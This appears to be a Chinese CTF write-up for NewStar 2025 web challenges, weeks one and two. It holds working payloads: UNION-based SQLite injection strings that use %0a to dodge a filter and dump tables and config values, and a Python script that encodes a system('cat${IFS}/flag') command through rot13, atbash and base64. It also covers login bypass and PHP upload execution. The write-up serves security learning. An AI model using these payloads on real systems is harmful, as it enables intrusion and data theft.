newstar2025 web week1&week2题解(少一道)
1.multi-headach3
robots.txt+302跳转抓包
2.strange_login
万能密码
3.黑客小W的故事(1)
拦截包修改+get传参+post传参+delete方法+ua头
DashSlash/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 CycloneSlash/143.0
4.宇宙的中心是php
view-source和进制转换绕过intval函数
intval函数默认按十进制转换,intval(xxx,0)表示按任意进制转换
5.我真得控制你了
我想的是js禁用,但是不行。删除js也不行。
结果是view-source+post提交+弱口令爆破+php代码审计(正则绕过,不允许纯数字和某些符号,然后计算表达式为2025)
preg_match('/[^\d*\/~()\s]/', $input)
preg_match('/^[\d\s]+$/', $input)
6.别笑,你也过不了第二关
前端js审计
score = 1000000; currentLevel = 1; endLevel();
7.DD加速器
命令执行rce(无任何过滤)
8.白帽小K的故事(1)
前端做了文件上传的限制,但是抓包后可以修改上传php文件。根据响应包可以看到是php的页面。利用测试的接口也确实可以读取php文件内容。但是通常的一句话木马没办法使用,可能做了过滤对文件内容?但是并不知道文件上传的路径啊。或者说不需要文件上传路径,在哪里能解析执行php文件也行。但是都没有啊我靠
ok我傻逼了,不知道前面为什么没成功,最后测试的时候。发现其实就是上传了php文件之后,利用onload这个接口去读取文件,然后php文件会被执行。会被执行的原因应该就是有个反引号。但是tm我之前为什么不行我靠。我好像知道了,不能再叫eval了可能,那就重复了,应该只用直接system就行了。哈哈哈,我真是小智障
9.搞点哦润吉吃吃橘(未解出)
弱口令(前端),进入之后是要提交一个token,但是提交时的session必须是服务端生成的,我想的是伪造或者想办法拿到生产逻辑,但是搞不懂他到底怎么生成的。
10.小E的管理系统
盲猜sql注入绕waf
# + = ; ' " / -- /**/ 空格 都被过滤
是有回显注入
空格用%0a,逗号用join,然后发现database()不能用,发现是sqlite_version()可以用,是sqlite
SELECT group_concat(name,',') FROM sqlite_master WHERE type='table'
id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(select%0Asqlite_version())F)
id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(SELECT%0Agroup_concat(name)%0AFROM%0Asqlite_master)F)
node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence"
id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(SELECT%0Asql%0AFROM%0Asqlite_master%0ALIMIT%0A1%0AOFFSET%0A0)F)
查字段
id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(SELECT%0Agroup_concat(config_value)%0AFROM%0Asys_config)F)
拿到手
11.真的是签到诶
command → rot13 → atbash → base64_encode
rot13+空格绕过+字母翻转+base64
import base64
def atbash(text):
result = ''
for char in text:
if char.isalpha():
if char.isupper():
base = ord('A')
offset = ord(char) - ord('A')
new_char = chr(base + (25 - offset))
else:
base = ord('a')
offset = ord(char) - ord('a')
new_char = chr(base + (25 - offset))
result += new_char
else:
result += char
return result
def rot13(text):
result = ''
for char in text:
if char.isalpha():
if char.isupper():
base = ord('A')
offset = (ord(char) - base + 13) % 26
result += chr(base + offset)
else:
base = ord('a')
offset = (ord(char) - base + 13) % 26
result += chr(base + offset)
else:
result += char
return result
# 生成payload
command = "system('cat${IFS}/flag');"
print(f"原始命令: {command}")
# 逆向流程
step1 = rot13(command) # 先做ROT13(因为最后一步是ROT13)
step2 = atbash(step1) # 然后Atbash
payload = base64.b64encode(step2.encode()).decode()
print(f"最终payload: {payload}")
# 验证
decoded = base64.b64decode(payload).decode()
atbash_result = atbash(decoded)
rot13_result = rot13(atbash_result)
print(f"验证结果: {rot13_result}")